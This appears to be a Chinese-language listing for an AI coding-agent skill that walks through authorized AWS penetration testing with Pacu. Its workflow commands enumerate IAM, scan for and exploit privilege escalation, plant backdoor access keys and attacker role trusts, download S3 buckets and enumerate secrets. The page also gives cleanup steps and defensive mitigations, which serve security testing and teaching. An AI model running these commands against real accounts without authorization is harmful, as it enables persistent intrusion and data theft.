关于 exploiting-aws-with-pacu
此技能介绍使用 Pacu 对 AWS 账户开展授权渗透测试,适合云安全测试人员。内容涵盖权限枚举、提权路径分析及持久化测试,并强调清理测试痕迹。
主要功能
- 01管理 AWS 凭证与测试会话
- 02枚举 IAM 权限和云资源
- 03扫描并测试提权路径
- 04演示密钥与角色持久化
- 05导出发现并清理残留
适用场景
- 01评估泄露 IAM 凭证的影响范围
- 02开展授权 AWS 红队测试
- 03验证云检测并演示攻击迹象
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill exploiting-aws-with-pacu安装后在 Claude Code 中输入/exploiting-aws-with-pacu确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdstandards.mdscripts/agent.py详细介绍
使用 Pacu 利用 AWS
法律声明: 本技能仅用于授权的渗透测试和教育目的。Pacu 会针对实时 AWS 账户执行主动枚举、权限提升、持久化和后门植入。请仅对你拥有或已获得明确书面授权(范围/交战规则)的账户运行它。许多模块会产生持久性更改(新的 IAM 用户、访问密钥、策略);请跟踪并移除所有内容。未经授权的使用在 CFAA 及同等法律下属于违法行为。
概述
Pacu 是来自 Rhino Security Labs 的开源 AWS 利用框架。它是 Metasploit 的云渗透测试对应物:一个模块化的 Python 控制台,用于管理目标会话、枚举 AWS 账户、识别权限提升路径,并执行持久化/后门植入/数据外泄模块——所有这些都由一个本地 SQLite 数据库支撑,该数据库记录每个被枚举的资源,以便模块可以基于彼此的发现进行链式操作。
一次 Pacu 行动遵循一致的流程。你创建一个命名会话,加载 AWS 密钥(使用 set_keys 或从 ~/.aws/credentials 导入),用 whoami 确认身份,然后枚举 IAM 及账户的其余部分。旗舰工作流是 iam__enum_permissions 后接 iam__privesc_scan,它会针对约 20 种已知的 AWS IAM 权限提升原语(例如 iam:CreatePolicyVersion、iam:AttachUserPolicy、iam:PassRole + lambda:CreateFunction、sts:AssumeRole)检查已攻陷的主体,并可自动利用它们。持久化模块如 iam__backdoor_users_keys 会在现有用户上创建第二个访问密钥,而 iam__backdoor_assume_role 会向角色添加信任关系,以便攻击者日后可以代入该角色。
本技能涵盖安装 Pacu、会话和凭证管理、IAM 枚举、自动化权限提升扫描和利用、持久化/后门植入以及数据访问——每条命令和模块名称均已对照 Rhino Security Labs 项目核实。来源:github.com/RhinoSecurityLabs/pacu。
何时使用
- 进行授权的 AWS 云渗透测试或红队行动
- 评估单个已泄露 IAM 凭证的影响范围(权限提升扫描)
- 演示持久化/后门技术以推动修复
- 生成逼真的攻击者遥测数据以测试云检测(紫队)
- 梳理不熟悉的 AWS 账户的 IAM、EC2、S3 和 Lambda 暴露面
前提条件
- 已安装 Pacu:
python3 -m pip install -U pip python3 -m pip install -U pacu # then run: pacu # or, preferred on Kali, with pipx: pipx install git+https://github.com/RhinoSecurityLabs/pacu.git # or Docker: docker run -it rhinosecuritylabs/pacu:latest - 范围内目标主体的 AWS 访问密钥/密钥(以及可选的会话令牌)
- 已签署的授权/交战规则文档,明确界定范围
- Python 3.9+ 以及到 AWS API 端点的出站 HTTPS
- 已安装 AWS CLI 用于验证(
aws sts get-caller-identity)
目标
- 安装 Pacu 并创建一个隔离的行动会话
- 加载并验证目标 AWS 凭证
- 枚举已攻陷主体的 IAM 权限
- 识别并(在已授权时)利用权限提升路径
- 通过后门访问密钥和角色信任建立持久化
- 枚举并访问 EC2、S3 和 Secrets Manager 中的数据
- 导出发现以供报告,并确保所有痕迹均已移除
MITRE ATT&CK 映射
| ID | 名称 | 在本技能中的用途 |
|---|---|---|
| T1078.004 | 有效账户:云账户 | Pacu 以有效 AWS 主体的身份运行并滥用其权限 |
| T1098.001 | 账户操纵:额外云凭证 | iam__backdoor_users_keys 创建第二个访问密钥 |
| T1098.003 | 账户操纵:额外云角色 | iam__backdoor_assume_role / 通过角色策略更改进行权限提升 |
| T1580 | 云基础设施发现 | ec2__enum、iam__enum_users_roles_policies_groups |
| T1530 | 来自云存储的数据 | s3__download_bucket 检索 S3 对象 |
| T1552.005 | 不安全的凭证:云实例元数据 API | EC2 IMDS 凭证滥用 |
工作流
1. 启动 Pacu 并创建会话
pacu
# In the Pacu console:
Pacu> set_keys
# key alias : engagement-target
# access key : AKIA...
# secret key : ...
# session tok: (optional)
2. 确认你正在使用的身份
Pacu> whoami
Pacu> run aws sts get-caller-identity # or, outside Pacu: aws sts get-caller-identity
3. 枚举 IAM 实体以及被攻陷主体的权限
Pacu> run iam__enum_users_roles_policies_groups
Pacu> run iam__enum_permissions
Pacu> data IAM # review what was collected into the session DB
4. 扫描权限提升路径
iam__privesc_scan 会检查该主体是否符合已知的 AWS 提权原语,并列出可行的方法。
Pacu> run iam__privesc_scan
# To attempt automated exploitation of a discovered method:
Pacu> run iam__privesc_scan --offline # analyze without making changes
5. 通过后门访问密钥建立持久化
Pacu> run iam__backdoor_users_keys --usernames target-user
# Add an assumable-role trust for long-term access:
Pacu> run iam__backdoor_assume_role --role-names target-role --user-arns arn:aws:iam::111122223333:user/attacker
6. 枚举计算和存储
Pacu> run ec2__enum
Pacu> run s3__download_bucket --names target-bucket
Pacu> data S3
7. 收集密钥
Pacu> run secrets__enum
8. 非交互式执行(CI / 脚本化)
Pacu 支持从 shell 一次性执行模块。
pacu --session engagement --module-name iam__enum_users_roles_policies_groups --exec
pacu --session engagement --module-name s3__download_bucket \
--module-args "--names target-bucket" --exec
9. 导出发现并清理
Pacu> data all > /dev/stdout # review collected data
# Manually remove every backdoor created (record ARNs/key IDs first):
aws iam delete-access-key --user-name target-user --access-key-id AKIA_BACKDOOR
aws iam update-assume-role-policy --role-name target-role --policy-document file://original-trust.json
参见 scripts/agent.py,以非交互方式驱动 enumerate->privesc 流程。
工具和资源
| 资源 | 用途 | 链接 |
|---|---|---|
| Pacu GitHub | 源代码、模块、wiki | https://github.com/RhinoSecurityLabs/pacu |
| Pacu 模块列表 | 每个模块的文档 | https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details |
| Rhino AWS 提权研究 | iam__privesc_scan 检查的提权原语 | https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/ |
| AWS IAM 文档 | 权限和策略参考 | https://docs.aws.amazon.com/IAM/latest/UserGuide/ |
| CloudGoat | 可安全练习的易受攻击 AWS 实验环境 | https://github.com/RhinoSecurityLabs/cloudgoat |
OPSEC 与检测注意事项
Pacu 模块噪音大且具有持久性;操作者必须同时为检测和清理做好规划:
iam__enum_permissions和iam__enum_users_roles_policies_groups会产生大量iam:List*/iam:Get*调用,在 CloudTrail 和 GuardDuty 中可见 (Discovery:IAMUser/AnomalousBehavior)。iam__privesc_scan在非离线模式下可能会进行更改状态的调用 (iam:CreatePolicyVersion、iam:AttachUserPolicy);仅用于分析时请使用--offline。iam__backdoor_users_keys会触发iam:CreateAccessKey,而iam__backdoor_assume_role会触发iam:UpdateAssumeRolePolicy—— 二者都是 防御者会告警的高信号持久化指标。- 记录每个产物 ID(访问密钥、策略版本、角色信任更改),以便每个 都能被还原;遗留后门既是 OPSEC 失败,也是对客户的真实风险。
建议的防御缓解措施
| 发现 | 修复 |
|---|---|
| 权限过宽的 IAM 主体(提权路径) | 应用最小权限;用条件限制 iam:PassRole 的范围 |
允许 iam:CreatePolicyVersion / SetDefaultPolicyVersion | 从非管理员角色中移除 |
| 长期有效的访问密钥 | 强制密钥轮换;优先使用角色 / 短期 STS 凭证 |
| 对密钥创建没有检测 | 在 CloudTrail 中对 CreateAccessKey / UpdateAssumeRolePolicy 告警 |
关键模块参考
| 模块 | 用途 |
|---|---|
iam__enum_users_roles_policies_groups | 枚举所有 IAM 主体和策略 |
iam__enum_permissions | 解析当前主体的有效权限 |
iam__privesc_scan | 识别(并可选利用)提权路径 |
iam__backdoor_users_keys | 在用户上创建后门访问密钥 |
iam__backdoor_assume_role | 向角色添加攻击者控制的信任 |
ec2__enum | 枚举 EC2 实例、卷、快照 |
s3__download_bucket | 从 S3 存储桶下载对象 |
secrets__enum | 枚举 Secrets Manager / SSM 参数 |
验证标准
- 已安装 Pacu 且控制台可启动
- 已创建参与会话并加载密钥
- 已用
whoami/sts get-caller-identity确认身份 - 已枚举 IAM 实体和当前主体权限
- 已运行
iam__privesc_scan并记录可行路径 - 已演示持久化模块行为(在授权范围内)
- 已完成 EC2/S3/secrets 枚举
- 已记录并移除所有创建的后门(密钥、角色信任、策略)
- 已导出发现用于参与报告
- 账户中没有残留的攻击者产物